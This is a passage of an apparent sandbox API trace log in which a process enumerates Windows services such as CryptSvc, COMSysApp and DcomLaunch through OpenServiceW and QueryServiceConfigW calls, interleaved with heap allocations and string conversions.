lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0031.825] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99648) returned 1 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99648 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93ee8 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93ff8 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94080 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94108 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94190 [0031.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b10 [0031.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1d99b10, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0031.825] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b58 [0031.825] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b10) returned 1 [0031.825] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b58) returned 1 [0031.825] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94190) returned 1 [0031.825] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x1) returned 0x2d3790 [0031.826] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.826] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.826] GetLastError () returned 0x7a [0031.826] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94190 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94218 [0031.826] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94190) returned 1 [0031.826] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94218) returned 1 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94218 [0031.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b58 [0031.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1d99b58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b10 [0031.826] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b58) returned 1 [0031.826] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b10) returned 1 [0031.826] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94218) returned 1 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b10 [0031.826] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94218 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94190 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d942a0 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94328 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d943b0 [0031.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b58 [0031.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1d99b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99ba0 [0031.827] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b58) returned 1 [0031.827] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ba0) returned 1 [0031.827] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d943b0) returned 1 [0031.827] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.827] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.827] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.827] GetLastError () returned 0x7a [0031.827] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.827] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d943b0 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94438 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d943b0) returned 1 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94438) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94438 [0031.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99ba0 [0031.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1d99ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b58 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ba0) returned 1 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b58) returned 1 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94438) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99b58 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94438 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d943b0 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d944c0 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94548 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d945d0 [0031.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99ba0 [0031.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1d99ba0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0031.828] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99be8 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ba0) returned 1 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99be8) returned 1 [0031.828] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d945d0) returned 1 [0031.828] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v4.0.30319_64", dwDesiredAccess=0x1) returned 0x2d37e0 [0031.828] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0031.829] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.829] GetLastError () returned 0x7a [0031.829] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d945d0 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.829] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d945d0) returned 1 [0031.829] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99be8 [0031.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1d99be8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99ba0 [0031.829] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99be8) returned 1 [0031.829] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ba0) returned 1 [0031.829] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99ba0 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d945d0 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d946e0 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94768 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d947f0 [0031.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99be8 [0031.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1d99be8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0031.829] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c30 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99be8) returned 1 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c30) returned 1 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d947f0) returned 1 [0031.830] OpenServiceW (hSCManager=0x2d3600, lpServiceName="COMSysApp", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.830] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0031.830] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.830] GetLastError () returned 0x7a [0031.830] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x182, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d95100 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d947f0 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d947f0) returned 1 [0031.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d947f0 [0031.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.830] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d947f0) returned 1 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c30 [0031.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x1d99c30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99be8 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c30) returned 1 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99be8) returned 1 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99be8 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94658 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d947f0 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94878 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94900 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94988 [0031.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c30 [0031.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1d99c30, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0031.831] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c78 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c30) returned 1 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c78) returned 1 [0031.831] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94988) returned 1 [0031.831] OpenServiceW (hSCManager=0x2d3600, lpServiceName="CryptSvc", dwDesiredAccess=0x1) returned 0x2d3790 [0031.831] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.831] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.832] GetLastError () returned 0x7a [0031.832] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94988 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94a10 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94988) returned 1 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94a10) returned 1 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94a10 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94988 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94a10) returned 1 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94988) returned 1 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94988 [0031.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c78 [0031.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99c78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c30 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c78) returned 1 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c30) returned 1 [0031.832] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94988) returned 1 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c30 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94988 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94a10 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94a98 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94b20 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ba8 [0031.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.832] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c78 [0031.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1d99c78, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0031.833] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99cc0 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c78) returned 1 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99cc0) returned 1 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ba8) returned 1 [0031.833] OpenServiceW (hSCManager=0x2d3600, lpServiceName="CscService", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.833] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.833] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.833] GetLastError () returned 0x7a [0031.833] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x142, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.833] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ba8 [0031.833] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94c30 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ba8) returned 1 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94c30) returned 1 [0031.833] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94c30 [0031.833] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ba8 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94c30) returned 1 [0031.833] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ba8) returned 1 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ba8 [0031.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99cc0 [0031.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99cc0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c78 [0031.834] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99cc0) returned 1 [0031.834] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c78) returned 1 [0031.834] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ba8) returned 1 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99c78 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ba8 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94c30 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94cb8 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94d40 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94dc8 [0031.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99cc0 [0031.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1d99cc0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0031.834] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d08 [0031.834] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99cc0) returned 1 [0031.834] RtlFreeHeap 